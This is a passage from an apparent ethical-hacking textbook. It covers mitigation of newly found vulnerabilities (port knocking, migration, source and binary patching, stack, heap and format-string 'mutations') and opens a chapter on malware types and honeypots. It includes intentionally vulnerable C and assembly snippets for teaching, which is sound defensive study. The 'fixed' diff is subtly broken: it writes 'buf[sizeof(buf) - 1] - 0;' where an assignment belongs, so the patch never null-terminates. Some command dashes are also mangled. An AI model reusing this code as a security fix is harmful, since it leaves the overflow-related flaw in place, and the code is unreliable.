• Reference to the exact code locations, including function names if known, at
which the problem occurs.
• Does the problem appear to be application specific, or is the problem buried in
a shared library routine?
• Did you discover any ways to mitigate the problem? This could be in the form
of a patch, or it could be a system configuration recommendation to preclude
exploitation while a solution is being developed.
Chapter 18: From Vulnerability to Exploit
479
PART IV
This page intentionally left blank
CHAPTER19 Closing the Holes:
Mitigation
• Reasons for securing newly discovered vulnerabilities
• Options available when securing vulnerabilities
• Port knocking
• Migration
• Patching vulnerable software
• Source code patching considerations
• Binary patching considerations
So, you have discovered a vulnerability in a piece of software. What now? The disclosure
debate will always be around (see Chapter 3), but regardless of whether you disclose in
public or to the vendor alone, there will be some time that elapses between discovery of
a vulnerability and release of a corresponding patch or update that properly secures the
problem. If you are using the software, what steps can you take to defend yourself in the
meantime? If you are a consultant, what guidelines will you give your customers for defending
themselves? This chapter presents some options for improving security during
the vulnerability windowthat exists between discovery and correction of a vulnerability.
Mitigation Alternatives
More than enough resources are available that discuss the basics of network and application
security. This chapter does not aim to enumerate all of the time-tested methods of
securing computer systems. However, given the current state of the art in defensive techniques,
we must emphasize that it remains difficult if not impossible to defend against a
zero-day attack. When new vulnerabilities are discovered, we can only defend against
them if we can prevent attackers from reaching the vulnerable application. All of the
standard risk assessment questions should be revisited:
• Is this service really necessary? If not, turn it off.
• Should it be publicly accessible? If not, firewall it.
• Are all unsafe options turned off? If not, change the options.
481
And, of course, there are many others. For a properly secured computer or network all of
these questions should really already have been answered. From a risk management
viewpoint we balance the likelihood that an exploit for the newly discovered vulnerability
will appear before a patch is available against the necessity of continuing to run the
vulnerable service. It is always wisest to assume that someone will discover or learn of
the same vulnerability we are investigating before the vulnerability is patched. With that
assumption in mind, the real issue boils down to whether it is worth the risk to continue
running the application, and if so, what defenses might be used. Port knocking and various
forms of migration may be useful in these circumstances.
Port Knocking
Port knocking is a defensive technique that can be used with any network service but is
most effective when a service is intended to be accessed by a limited number of users. An
SSH or POP3 server could be easily sheltered with port knocking, while it would be difficult
to protect a publicly accessible web server using the same technique. Port knocking is
probably best described as a network cipher lock. The basic idea behind port knocking is
that the port on which a network service listens remains closed until a user steps through a
required knock sequence. A knock sequence is simply a list of ports that a user attempts to
connect to before being granted permission to connect to the desired service. Ports
involved in the knock sequence are generally closed and a TCP/UDP level filter detects the
proper access sequence before opening the service port for an incoming connection from
the knocking computer. Because generic client applications are generally not capable of
performing a knock sequence, authorized users must be supplied with custom client software
or properly configured knocking software. This is the reason that port knocking is
not an appropriate protection mechanism for publicly accessible services.
One thing to keep in mind regarding port knocking is that it doesn’t fix vulnerabilities
within protected services in any way; it simply makes it more difficult to reach them.
An attacker who is in a position to observe traffic to a protected server or who can
observe traffic originating from an authorized client can obtain the knock sequence and
utilize it to gain access to the protected service. Finally, a malicious insider who knows
the knock sequence will always be able to reach the vulnerable service.
References
Port Knocking www.portknocking.org
M. Krzywinski, “Port Knocking: Network Authentication Across Closed Ports,” SysAdmin
Magazine, 12: 12–17 (2003) www.portknocking.org
Migration
Not always the most practical solution to security problems, but sometimes the most
sensible, migration is well worth considering as a means of improving overall security.
Migration paths to consider include moving services to a completely new operating system
or complete replacement of a vulnerable application with one that is more secure.
Gray Hat Hacking: The Ethical Hacker’s Handbook
482
Migrating to a New Operating System
Migrating an existing application to a new operating system is usually only possible
when a version of the application exists for the new operating system. In selecting a new
operating system, we should consider those that contain features that make exploitation
of common classes of vulnerabilities difficult or impossible. Many products exist that
either include built-in protection methods or provide bolt-on solutions. Some of the
more notable are
OpenBSD
grsecurity
ExecShield
Openwall Project
NGSEC StackDefender
Microsoft Windows XP SP2 or Vista
Any number of arguments, bordering on religious in their intensity, can be found regarding
the effectiveness of each of these products. Suffice it to say that any protection is better
than none, especially if you are migrating as the result of a known vulnerability. It is important
that you choose an operating system and protection mechanism that will offer some
protection against the types of exploits that could be developed for that vulnerability.
Migrating to a New Application
Choosing to migrate to an entirely new application is perhaps the most difficult route to
take for any number of reasons. Lack of alternatives for a given operating system, data
migration, and impact on users are a few of the bigger challenges to be faced. In some
cases, choosing to migrate to a new application may also require a change in host operating
systems. Of course the new application must provide sufficient functionality to
replace the existing vulnerable application, but additional factors to consider before
migrating include the security track record of the new application and the responsiveness
of its vendor where security problems are concerned. For some organizations, the
ability to audit and patch application source code may be desirable. Other organizations
may be locked into a particular operating system or application because of mandatory
corporate policies. The bottom line is that migrating in response to a newly
discovered vulnerability should be done because a risk analysis determines that it is the
best course of action. In this instance, security is the primary factor to be looked at, not a
bunch of bells and whistles that happen to be tacked onto the new application.
References
OpenBSD www.openbsd.org
grsecurity www.grsecurity.net
ExecShield http://people.redhat.com/mingo/exec-shield/
Openwall Project www.openwall.com/Owl/
StackDefender www.ngsec.com/ngproducts/stackdefender
Microsoft Windows Vista www.microsoft.com
Chapter 19: Closing the Holes: Mitigation
483
PART IV
Patching
The only sure way to secure a vulnerable application is to shut it down or patch it. If the
vendor can be trusted to release patches in an expeditious manner, wemay be fortunate
enough to avoid long periods of exposure for the vulnerable application. Unfortunately,
in some cases vendors take weeks, months, or more to properly patch reported vulnerabilities,
or worse yet, release patches that fail to correct known vulnerabilities, thereby
necessitating additional patches. If we determine that we must keep the application up
and running, it may be in our best interests to attempt to patch the application ourselves.
Clearly, this will be an easier task if we have source code to work with and this is
one of the leading arguments in favor of the use of open source software. Patching application
binaries is possible, but difficult at best. Without access to source code, you may
feel it is easiest to leave it to the application vendor to supply a patch. Unfortunately, the
wait leaves you high and dry and vulnerable from the discovery of the vulnerability to
the release of its corresponding patch. For this reason, it is at least useful to understand
some of the issues involved with patching binary images.
Source Code Patching Considerations
As mentioned earlier, patching source is infinitely easier than patching at the binary
level. When source code is available, users are afforded the opportunity to play a greater
role in developing and securing their applications. The important thing to remember is
that easy patching is not necessarily quality patching. Developer involvement is essential
regardless of whether we can point to a specific line of source code that results in a
vulnerability, or whether the vulnerability is discovered in a closed source binary.
When to Patch
The temptation to simply patch our application’s source code and press on may be a
great one. If the application is no longer actively supported and we are determined to
continue using it, our only recourse will be to patch it up and move on. For actively supported
software it is still useful to develop a patch in order to demonstrate that the vulnerability
can be closed. In any case it is crucial that the patch that is developed fixes not
only any obvious causes of the vulnerability, but also any underlying causes without
introducing any new problems. In practice this requires more than superficial acquaintance
with the source code and remains the primary reason the majority of users of open
source software do not contribute to its development. It takes a significant amount of
time to become familiar with the architecture of any software system, especially one in
which you have not been involved from the start.
What to Patch
Clearly, we are interested in patching the root cause of the vulnerability without introducing
any additional vulnerabilities. Securing software involves more than just replacing
insecure functions with their more secure counterparts. For example, the common
replacement for strcpy()—strncpy()—has its own problems that far too few people are
aware of.
Gray Hat Hacking: The Ethical Hacker’s Handbook
484
Chapter 19: Closing the Holes: Mitigation
485
PART IV
NOTE The strncpy() function takes as parameters source and destination
buffers and a maximum number, n, of characters to copy. It does not guarantee
null termination of its destination buffer. In cases where the source buffer
contains n or more characters, no null-termination character will be copied
into the destination buffer.
In many cases, perhaps the majority of cases, no one function is the direct cause of a
vulnerability. Improper buffer handling and poor parsing algorithms cause their fair
share of problems, as does the failure to understand the differences between signed and
unsigned data. In developing a proper patch, it is always wise to investigate all of the
underlying assumptions that the original programmer made regarding data handling
and verify that each assumption is properly accounted for in the program’s implementation.
This is the reason that it is always desirable to work in a cooperative manner with
the program developers. Few people are better suited to understand the code than the
original authors.
Patch Development and Use
When working with source code, the two most common programs used for creating and
applying patches are the command-line tools diff and patch. Patches are created using
the diff program, which compares one file to another and generates a list of differences
between the two.
diff diff reports changes by listing all lines that have been removed or replaced
between old and new versions of a file. With appropriate options, diff can recursively
descend into subdirectories and compare files with the same names in the old and new
directory trees. diff output is sent to standard out and is usually redirected in order to
create a patch file. The three most common options to diff are
• -a Causes diff to treat all files as text
• -u Causes diff to generate output in “unified” format
• -r Instructs diff to recursively descend into subdirectories
As an example, take a vulnerable program named rooted in a directory named hackable.
If we created a secure version of this program in a directory named hackable_not, we
could create a patch with the following diff command:
diff –aur hackable/ hackable_not/ > hackable.patch
The following output shows the differences in two files, example.c and example_fixed.c,
as generated by the following command:
# diff –au example.c example_fixed.c
--- example.c 2004-07-27 03:36:21.000000000 -0700
+++ example_fixed.c 2004-07-27 03:37:12.000000000 -0700
@@ -6,7 +6,8 @@
Gray Hat Hacking: The Ethical Hacker’s Handbook
486
int main(int argc, char **argv) {
char buf[80];
- strcpy(buf, argv[0]);
+ strncpy(buf, argv[0], sizeof(buf));
+ buf[sizeof(buf) - 1] - 0;
printf("This program is named %s\n", buf);
}
The unified output format is used and indicates the files that have been compared, the
locations at which they differ, and the ways in which they differ. The important parts are
the lines prefixed with + and –. A + prefix indicates that the associated line exists in the
new file but not in the original. A – sign indicates that a line exists in the original file but
not in the new file. Lines with no prefix serve to show surrounding context information
so that patch can more precisely locate the lines to be changed.
patch patch is a tool that is capable of understanding the output of diff and using it
to transform a file according to the differences reported by diff. Patch files are most
often published by software developers as a way to quickly disseminate just that information
that has changed between software revisions. This saves time because downloading
a patch file is typically much faster than downloading the entire source code for
an application. By applying a patch file to original source code, users transform their
original source into the revised source developed by the program maintainers. If we had
the original version of example.c used previously, given the output of diff shown earlier
and placed in a file named example.patch, we could use patch as follows:
patch example.c < example.patch
to transform the contents of example.c into those of example_fixed.c without ever seeing
the complete file example_fixed.c.
Binary Patching Considerations
In situations where it is impossible to access the original source code for a program, we
may be forced to consider patching the actual program binary. Patching binaries
requires detailed knowledge of executable file formats and demands a great amount of
care to ensure that no new problems are introduced.
Why Patch?
The simplest argument for using binary patching is when a vulnerability is found in software
that is no longer vendor supported. Such cases arise when vendors go out of business
or when a product remains in use long after a vendor has ceased to support it.
Before electing to patch binaries, migration or upgrade should be strongly considered in
such cases; both are likely to be easier in the long run.
For supported software, it remains a simple fact that some software vendors are unresponsive
when presented with evidence of a vulnerability in one of their products. Standard
reasons for slow vendor response include “we can’t replicate the problem” and “we
need to ensure that the patch is stable.” In poorly architected systems, problems can run
so deep that massive reengineering, requiring a significant amount of time, is required
before a fix can be produced. Regardless of the reason, users may be left exposed for
extended periods—and unfortunately, when dealing with things like Internet worms, a
single day represents a huge amount of time.
Understanding Executable Formats
In addition to machine language, modern executable files contain a large amount of
bookkeeping information. Among other things this information indicates what dynamic
libraries and functions a program requires access to, where the program should reside in
memory, and in some cases, detailed debugging information that relates the compiled
machine back to its original source. Properly locating the machine language portions of a
file requires detailed knowledge of the format of the file. Two common file formats in use
today are the Executable and Linking Format (ELF) used on many Unix-type systems,
including Linux, and the Portable Executable (PE) format used on modern Windows systems.
The structure of an ELF executable binary is shown in Figure 19-1.
The ELF header portion of the file specifies the location of the first instruction to be executed
and indicates the locations and sizes of the program and section header tables. The
program header table is a required element in an executable image and contains one entry
for each program segment. Program segments are made up of one or more program sections.
Each segment header entry specifies the location of the segment within the file, the
virtual memory address at which to load the segment at runtime, the size of the segment
within the file, and the size of the segment when loaded into memory. It is important to
note that a segment may occupy no space within a file and yet occupy some space in memory
at runtime. This is common when uninitialized data is present within a program.
The section header table contains information describing each program section. This
information is used at link time to assist in creating an executable image from compiled
object files. Following linking, this information is no longer required; thus the section
header table is an optional element (though it is generally present) in executable files.
Common sections included in most executables are
• The .bss section describes the size and location of uninitialized program data.
This section occupies no space in the file but does occupy space when an
executable file is loaded into memory.
• The .data section contains initialized program data that is loaded into memory
at runtime.
• The .text section contains the program’s executable instructions.
Chapter 19: Closing the Holes: Mitigation
487
PART IV
Figure 19-1
Structure of an
ELF executable
file
Many other sections are commonly found in ELF executables. Refer to the ELF specification
for more detailed information.
Microsoft Windows PE files also have a well-defined structure as defined by
Microsoft’s Portable Executable and Common Object File Format Specification. While
the physical structure of a PE file differs significantly from an ELF file, from a logical perspective,
many similar elements exist in both. Like ELF files, PE files must detail the layout
of the file, including the location of code and data, virtual address information, and
dynamic linking requirements. By gaining an understanding of either one of these file
formats, you will be well prepared to understand the format of additional types of executable
files.
Patch Development and Application
Patching an executable file is a nontrivial process. While the changes you wish to make
to a binary may be very clear to you, the capability to make those changes may simply
not exist. Any changes made to a compiled binary must ensure not only that the operation
of the vulnerable program is corrected, but also that the structure of the binary file
image is not corrupted. Key things to think about when considering binary patching
include
• Does the patch cause the length of a function (in bytes) to change?
• Does the patch require functions not previously called by the program?
Any change that affects the size of the program will be difficult to accommodate and
require very careful thought. Ideally, holes (or as Halvar Flake terms them, “caves”) in
which to place new instructions can be found in a binary’s virtual address space. Holes
can exist where program sections are not contiguous in memory, or where a compiler or
linker elects to pad section sizes up to specific boundaries. In other cases, you may be
able to take advantage of holes that arise because of alignment issues. For example, if a
particular compiler insists on aligning functions on double-word (8-byte) boundaries,
then each function may be followed by as many as 7 bytes of padding. This padding,
where available, can be used to embed additional instructions or as room to grow existing
functions. With a thorough understanding of an executable file’s headers, it is sometimes
possible to take advantage of the difference between an executable’s file layout
and its eventual memory layout. To reduce an executable’s disk footprint, padding bytes
that may be present at runtime are often not stored in the disk image of the executable.
Using appropriate editors (PE Explorer is an example of one such editor for Windows PE
files), it is often possible to grow a file’s disk image without impacting the file’s runtime
memory layout. In these cases, it is possible to inject code into the expanded regions
within the file’s various sections.
Regardless of how you find a hole, using the hole generally involves replacing vulnerable
code with a jump to your hole, placing patched code within the hole, and finally
jumping back to the location following the original vulnerable code. This process is
shown in Figure 19-2.
Gray Hat Hacking: The Ethical Hacker’s Handbook
488
Chapter 19: Closing the Holes: Mitigation
489
PART IV
Once space is available within a binary, the act of inserting new code is often performed
using a hex editor. The raw byte values of the machine language, often obtained
using an assembler program such as Netwide Assembler (NASM), are pasted into the
appropriate regions in the file and the resulting file is saved to yield a patched executable.
It is important to remember that disassemblers such as IDA Pro are not generally
capable of performing a patch operation themselves. In the case of IDA Pro, while it will
certainly help you develop and visualize the patch you intend to make, all changes that
you observe in IDA are simply changes to the IDA database and do not change the original
binary file in any way. Not only that, but there is no way to export the changes that
youmay have made within IDA back out to the original binary file. This is why assembly
and hex editing skills are essential for anyone who expects to do any binary patching.
Once a patched binary has been successfully created and tested, the problem of distributing
the binary remains. Any number of reasons exist that may preclude distribution
of the entire patched binary, ranging from prohibitive size to legal restrictions. One
tool for generating and applying binary patches is named Xdelta. Xdelta combines the
functionality of diff and patch into a single tool capable of being used on binary files.
Xdelta can generate the difference between any two files regardless of the type of those
files. When Xdelta is used, only the binary difference file (the “delta”) needs to be distributed.
Recipients utilize Xdelta to update their binaries by applying the delta file to
their affected binary.
Limitations
File formats for executable files are very rigid in their structure. One of the toughest
problems to overcome when patching a binary is finding space to insert new code.
Unlike simple text files, you cannot simply turn on insert mode and paste in a sequence
of assembly language. Extreme care must be taken if any code in a binary is to be relocated.
Moving any instruction may require updates to relative jump offsets or require
computation of new absolute address values.
NOTE Two common means of referring to addresses in assembly language
are relative offsets and absolute addresses. An absolute address is an
unambiguous location assigned to an instruction or to data. In absolute terms
you might refer to the instruction at location 12345. A relative offset describes
a location as the distance from some reference location (often the current instruction) to
the desired location. In relative terms you might refer to the instruction that precedes the
current instruction by 45 bytes.
Figure 19-2
Patching into a
file hole
Gray Hat Hacking: The Ethical Hacker’s Handbook
490
A second problem arises when it becomes necessary to replace one function call with
another. This may not always be easily achievable depending on the binary being patched.
Take, for example, a program that contains an exploitable call to the strcpy() function. If
the ideal solution is to change the program to call strncpy(), then there are several things
to consider. The first challenge is to find a hole in the binary so that an additional parameter
(the length parameter of strncpy()) can be pushed on the stack. Next, a way to call
strncpy() needs to be found. If the program actually calls strncpy() at some other point,
the address of the strncpy() function can be substituted for the address of the vulnerable
strcpy() function. If the program contains no other calls to strncpy(), then things get
complicated. For statically linked programs, the entire strncpy() function would need to
be inserted into the binary requiring significant changes to the file that may not be possible
to accomplish. For dynamically linked binaries, the program’s import table would
need to be edited so that the loader performs the proper symbol resolution to link in the
strncpy() function in the future. Manipulating a program’s import table is another task
that requires extremely detailed knowledge of the executable file’s format, making this a
difficult task at best.
Binary Mutation
As discussed, it may be a difficult task to develop a binary patch that completely fixes an
exploitable condition without access to source code or significant vendor support. One
technique for restricting access to vulnerable applications while awaiting a vendorsupplied
patch was port knocking. A drawback to port knocking is that a malicious user
who knows the knock sequence can still exploit the vulnerable application. In this section
we discuss an alternative patching strategy for situations in which you are required to continue
running a vulnerable application. The essence of this technique is to generate a
patch for the application that changes its characteristics just enough so that the application
is no longer vulnerable to the same “mass market” exploit that is developed to attack
every unpatched version of the application. In other words, the goal is to mutate or create
genetic diversity in the application such that it becomes resistant to standard strains of
malware that seek to infect it. It is important to note that the patching technique introduced
here makes no effort to actually correct the vulnerable condition; it simply aims to
modify a vulnerable application sufficiently to make standard attacks fail against it.
Mutations Against Stack Overflows
In Chapter 7, you learned about the causes of stack overflows and how to exploit them.
In this section, we discuss simple changes to a binary that can cause an attacker’s working
exploit to fail. Recall that the space for stack-allocated local variables is allocated
during a function prologue by adjusting the stack pointer upon entry to that function.
The following shows the C source for a function badCode, along with the x86 prologue
code that might be generated for badCode.
void badCode(int x) {
char buf[256];
int i, j;
//body of badCode here
}
; generated assembly prologue for badCode
badCode:
push ebp
mov ebp, esp
sub esp, 264
Here the statement that subtracts 264 from esp allocates stack space for the 256-byte
buffer and the two 4-byte integers i and j. All references to the variable at [ebp-256] refer
to the 256-byte buffer buf. If an attacker discovers a vulnerability leading to the overflow
of the 256-byte buffer, she can develop an exploit that copies at least 264 bytes into buf
(256 bytes to fill buf, 4 bytes to overwrite the saved ebp value, and an additional 4 bytes
to control the saved return address) and gain control of the vulnerable application.
Figure 19-3 shows the stack frame associated with the badCode function.
Mutating this application is a simple matter of modifying the stack layout in such a
way that the location of the saved return address with respect to the start of the buffer is
something other than the attacker expects. In this case, we would like to move buf in
some way so that it is more than 260 bytes away from the saved return address. This is a
simple two-step process. The first step is to make badCode request more stack space,
which is accomplished by modifying the constant that is subtracted from esp in the prologue.
For this example, we choose to relocate buf to the opposite side of variables i and
j. To do this, we need enough additional space to hold buf and leave i and j in their original
locations. The modified prologue is shown in the following listing:
; mutated assembly prologue for badCode
badCode:
push ebp
mov ebp, esp
sub esp, 520
The resulting mutated stack frame can be seen in Figure 19-4, where we note that the
mutated offset to buf is [ebp-520].
The final change required to complete the mutation is to locate all references to [ebp-
256] in the original version of badCode and update the offset from ebp to reflect the
new location of buf at [ebp-520]. The total number of bytes that must be changed to
effect this mutation is one for the change to the prologue plus one for each location that
references buf. As a result of this particular mutation, the attacker’s 264-byte overwrite
falls far short of the return address she is attempting to overwrite. Without knowing the
Chapter 19: Closing the Holes: Mitigation
491
PART IV
Figure 19-3
Original stack
layout
Gray Hat Hacking: The Ethical Hacker’s Handbook
492
layout of our mutated binary, the attacker can only guess why her attack has failed,
hopefully assuming that our particular application is patched, leading her to move on to
other, unpatched victims.
Note that the application remains as vulnerable as ever. A buffer of 528 bytes will still
overwrite the saved return address. A clever attacker might attempt to grow her buffer by
incrementally appending copies of her desired return address to the tail end of her
buffer, eventually stumbling across a proper buffer size to exploit our application. However,
as a final twist, it is worth noting that we have introduced several new obstacles that
the attacker must overcome. First, the location of buf has changed enough that any
return address chosen by the attacker may fail to properly land in the new location of
buf, thereby causing her to miss her shellcode. Second, the variables i and j now lie
beneath buf and will both be corrupted by the attacker’s overflow. If the attacker’s input
causes invalid values to be placed into either of these variables, we may see unexpected
behavior in badCode, which may cause the function to terminate in a manner not anticipated
by our attacker. In this case, i and j behave as makeshift stack canaries. Without
access to our mutated binary, the attacker will not understand that she must take special
care to maintain the integrity of both i and j. Finally, we could have allocated more stack
space in the prologue by subtracting 536 bytes, for example, and relocating buf to [ebp-
527]. The effect of this subtle change is to make buf begin on something other than a 4-
byte boundary. Without knowing the alignment of buf, any return address contained in
the attacker’s input is not likely to be properly aligned when it overwrites the saved
return address, which again will lead to failure of the attacker’s exploit.
The preceding example presents merely one way in which a stack layout may be modified
in an attempt to thwart any automated exploits that may appear for our vulnerable
application. It must be remembered that this technique merely provides security through
obscurity and should never be relied upon as a permanent fix to a vulnerability. The only
goal of a patch of this sort should be to allow an application to run during the time frame
between disclosure of a vulnerability and the release of a proper patch by the application
vendor.
Mutations Against Heap Overflows
In Chapter 8 we saw the mechanics of heap overflow exploits. Like stack overflows, successful
heap overflows require the attacker to have an accurate picture of the memory
Figure 19-4
Mutated stack
layout
Chapter 19: Closing the Holes: Mitigation
493
PART IV
layout surrounding the vulnerable buffer. In the case of a heap overflow, the attacker’s
goal is to overwrite heap control structures with specially chosen values that will cause
the heap management routines to write a value of the attacker’s choosing into a location
of the attacker’s choosing. With this simple arbitrary write capability an attacker can take
control of the vulnerable process. To design a mutation that prevents a specific overflow
attack, we need to cause the layout of the heap to change to something other than what
the attacker will expect based on his analysis of the vulnerable binary. Since the entire
point of the mutations we are discussing is to generate a simple patch that does not
require major revisions of the binary, we need to come up with a simple technique for
mutating the heap without requiring the insertion of new code into our binary. Recall
that we performed a stack buffer mutation by modifying the function prologue to
change the size of the allocated local variables. For heap overflows the analogous mutation
would be to modify the size of the memory block passed to malloc/new when we
allocate the block of memory that the attacker expects to overflow. The basic idea is to
increase the amount of memory being requested, which in turn will cause the attacker’s
buffer layout to fall short of the control structures he is targeting. The following listing
shows the allocation of a 256-byte heap buffer:
; allocate a 256 byte buffer in the heap
push 256
call malloc
Following allocation of this buffer, the attacker expects that heap control structures lie
anywhere from 256 to 272 bytes into the buffer (refer to Chapter 8 for a refresher on the
heap layout). If we modify the preceding code to the following:
; allocate a 280 byte buffer in lieu of a 256 byte buffer
push 280
call malloc
then the attacker’s assumptions about the location of the heap control structure become
invalid and his exploit becomes far more likely to fail. Heap mutations become somewhat
more complicated when the size of the allocated buffer must be computed at
runtime. In these cases, we must find a way to modify the computation in order to compute
a slightly larger size.
Mutations Against Format String Exploits
Like stack overflows, format string exploits require the attacker to have specific knowledge
of the layout of the stack. This is because the attacker requires pointer values to fall
in very specific locations in the stack in order to achieve the arbitrary write capability
that format string exploits offer. As an example, an attacker may rely on indexed parameter
values such as “%17$hn” (refer to Chapter 8 for format string details) in her format
string. Mutations to mitigate format string vulnerability rely on the same layout modification
assumptions that we have used for mitigating stack and heap overflows. If we can
modify the stack in a way that causes the attackers’ assumptions about the location of
their data to become invalid, then it is likely to fail. Consider the function bar and a portion
of the assembly language generated for it in the following listing:
void bar() {
char local_buf[1024];
//now fill local_buf with user input
...
printf(local_buf);
}
; assembly excerpt for function bar
bar:
push ebp
mov ebp, esp
sub esp, 1024 ; allocates local_buf
;do something to fill local_buf with user input
...
lea eax, [ebp-1024]
push eax
call printf
Clearly, this contains a format string vulnerability, since local_buf, which contains usersupplied
input data, will be used directly as the format string in a call to printf. The stack
layout for both bar and printf is shown in Figure 19-5.
Figure 19-5 shows that the attacker can expect to reference elements of local_buf as
parameters 1$ through 256$ when constructing her format string. By making the simple
change shown in the following listing, allocating an additional 1024 bytes in bar’s stack
frame, the attacker’s assumptions will fail to hold and her format string exploit will, in
all likelihood, fail.
; Modified assembly excerpt for function bar
bar:
push ebp
mov ebp, esp
sub esp, 2048 ; allocates local_buf and padding
;do something to fill local_buf with user input
...
lea eax, [ebp-1024]
push eax
call printf
The reason this simple change will cause the attack to fail can be seen upon examination
of the new stack layout shown in Figure 19-6.
Gray Hat Hacking: The Ethical Hacker’s Handbook
494
Figure 19-5
printf stack
layout 1
Note how the extra stack space allocated in bar’s prologue causes the location of
local_buf to shift from the perspective of printf. Values that the attacker expects to find
in locations 1$ to 256$ are now in locations 257$ through 512$. As a result, any
assumptions the attacker makes about the location of her format string become invalid
and the attack fails.
As with the other mutation techniques, it is essential to remember that this type of
patch does not correct the underlying vulnerability. In the preceding example, function
bar continues to contain a format string vulnerability that can be exploited if the
attacker has proper knowledge of the stack layout of bar. What has been gained, however,
is some measure of resistance to any automated attacks that might be created to
exploit the unpatched version of this vulnerability. It cannot be stressed enough that it
should never be considered a long-term solution to an exploitable condition and that a
proper, vendor-supplied patch should be applied at the earliest possible opportunity.
Third-Party Patching Initiatives
Every time a vulnerability is publicly disclosed, the vendor of the affected software is
heavily scrutinized. If the vulnerability is announced in conjunction with the release of
a patch, the public wants to know how long the vendor knew about the vulnerability
before the patch was released. This is an important piece of information, as it lets users
know how long the vendor left them vulnerable to potential zero-day attacks. When vulnerabilities
are disclosed prior to vendor notification, users of the affected software
demand a rapid response from the vendor so that they can get their software patched
and become immune to potential attacks associated with the newly announced vulnerability.
As a result, vendor response time has become one of the factors that some use to
select which applications might best suit their needs. In some cases, vendors have
elected to regulate the frequency with which they release security updates. Microsoft, for
example, is well known for its “Patch Tuesday” process of releasing security updates on
the second Tuesday of each month. Unfortunately, astute attackers may choose to
announce vulnerabilities on the following day in an attempt to assure themselves of at
least a one-month response time. In response to perceived sluggishness on the part of
software vendors where patching vulnerabilities is concerned, there has been a recent
rise in the number of third-party security patches being made available following the
disclosure of vulnerabilities. This trend seems to have started with Ilfak Guilfanov, the
Chapter 19: Closing the Holes: Mitigation
495
PART IV
Figure 19-6
printf stack
layout 2
author of IDA Pro, who released a patch for the WindowsWMFexploit in late December
2005. It is not surprising that Microsoft recommended against using this third-party
patch. What was surprising was the endorsement of the patch by the SANS Internet
Storm Center. With such contradictory information, what is the average computer user
going to do? This is a difficult question that must be resolved if the idea of third-party
patching is ever to become widely accepted. Nonetheless, in the wake of the WMF
exploit, additional third-party patches have been released for more recent vulnerabilities.
We have also seen the formation of a group of security professionals into the selfproclaimed
Zeroday Emergency Response Team (ZERT), whose goal is the rapid development
of patches in the wake of public vulnerability disclosures. Finally, in response to
one of the recent bug-a-day efforts dubbed the “Month of Apple Bugs,” former Apple
developer Landon Fuller ran his own parallel effort, the “Month of Apple Fixes.” The net
result for end-users, sidestepping the question of how a third party can develop a patch
faster than an application vendor, is that, in some instances, patches for known vulnerabilities
may be available long before application vendors release official patches. However,
extreme caution should be exercised when using these patches as no vendor
support can be expected should such a patch have any harmful side effects.
References
www.grayhathackingbook.com
diff www.gnu.org/software/diffutils/diffutils.html
patch www.gnu.org/software/patch/patch.html
ELF Specification http://x86.ddj.com/ftp/manuals/tools/elf.pdf
Xdelta http://sourceforge.net/projects/xdelta/
PECOFF Specification www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx
WMF Hotfix http://hexblog.com/2005/12
ZERT http://zert.isotf.org/
Month of Apple Bugs http://projects.info-pull.com/moab/
Month of Apple Fixes http://landonf.bikemonkey.org/code/macosx/
Gray Hat Hacking: The Ethical Hacker’s Handbook
496
Malware Analysis
■ Chapter 20 Collecting Malware and Initial Analysis
■ Chapter 21 Hacking Malware
497
This page intentionally left blank
CHAPTER20 Collecting Malware and
Initial Analysis
• Malware
• Types of malware
• Malware defensive techniques
• Latest trends in honeynet technology
• Honeypots
• Honeynets
• Types of honeypots and honeynets
• Thwarting VMware detection
• Catching malware
• VMware host and guest setup
• Using Nepenthes to catch a fly
• Initial analysis of malware
• Static and live analysis
• Norman Sandbox technology
Now that you have some basics skills in exploiting and reverse engineering, it is time to
put them together and learn about malware. As an ethical hacker, you will surely find
yourself from time to time looking at a piece of malware, and you may need to make
some sort of determination about the risk it poses and the action to take to remove it.
The next chapter gives you a taste of this area of security. If you are interested in this subject,
read the references for more detailed information.
Malware
Malware can be defined as any unintended and unsolicited installation of software on a
system without the user knowing or wanting it.
Types of Malware
There are many types of malware, but for our purposes, the following list of malware
will suffice.
499
Virus
A virus is a parasitic program that attaches itself to other programs in order to infect that
program and perform some unwanted function. Viruses range in severity and in the
threat they pose. Some are easy to detect and others are very difficult to detect and
remove from a system. Some viruses use polymorphic (changing) technology to morph
as they move from system to system, thereby prolonging their detection. A virus requires
users to assist it by launching the application or script that contains the virus. The users
may not know they have executed a virus; they may instead think they are opening an
image or a seemingly harmless application.
Trojan Horse
A Trojan horse is a malicious piece of software that performs a nefarious deed on behalf
of an attacker without the user knowing it is there. As the name implies, some Trojan
horses make their way onto a system embedded within another piece of software.
Pirated software has been known to contain Trojan horse code.
Worms
Simply put, worms are self-propagating viruses. They require no action on the user’s part
to execute and move from system to system. In recent years worms have been prevalent
and have been used for many purposes, like distributing Trojan horses and other forms
of malware.
Spyware/Adware
Spyware and adware describe the class of software that is installed without a user’s
knowledge in order to report the behavior of the user to the attacker. The attacker in this
case may be working under the guise of an advertiser, marketing specialist, or Internet
researcher. Besides the obvious privacy issues here, in most cases, this class of software is
not malicious. However, there are some forms of spyware that use key-logging technology
to capture user keystrokes and siphon them off the machine into a central database.
In that case, passwords and financial information may be gathered and that spyware
should be considered a high threat to the user or organization.
Malware Defensive Techniques
One of the most important aspects of a piece of malware is its persistence after reboots
and its longevity. To that end, great defensive measures are taken by attackers to protect a
piece of malware from being detected.
Rootkits
The definition of “rootkit” has evolved some, but today it commonly refers to a category
of software that hides itself and other software from system administrators in order to
perform some nefarious task. A good rootkit will provide some form of reboot survivability
and will hide processes, files, registry entries, network connections, and most
importantly, will hide itself.
Gray Hat Hacking: The Ethical Hacker’s Handbook
500
Chapter 20: Collecting Malware and Initial Analysis
501
PART V
Packers
Packers are used to “pack” or compress the Windows PE file format. The most common
packers are
• UPX
• ASPack
• tElock
Protective Wrappers with Encryption
Some hackers will use tools to wrap their binary with encryption using tools like:
• Burneye
• Shiva
VM Detection
As could be expected, as more and more defenders have began to use VMware to capture
and study malware, many pieces of malware now employ some form of VM (virtual
machine) detection. Later in this chapter we will describe the state of this arms race (as
of the writing of this book).
Latest Trends in Honeynet Technology
Speaking of arms races, as attacker technology evolves, the technology used by defenders
has evolved too. This cat and mouse game has been taking place for years as attackers try
to go undetected and defenders try to detect the latest threats and to introduce countermeasures
to better defend their networks.
Honeypots
Honeypots are decoy systems placed in the network for the sole purpose of attracting
hackers. There is no real value in the systems, there is no sensitive information, and they
just look like they are valuable. They are called “honeypots” because once the hackers put
their hand in the pot and taste the honey, they keep coming back for more.
Honeynets
A honeypot is a single system serving as a
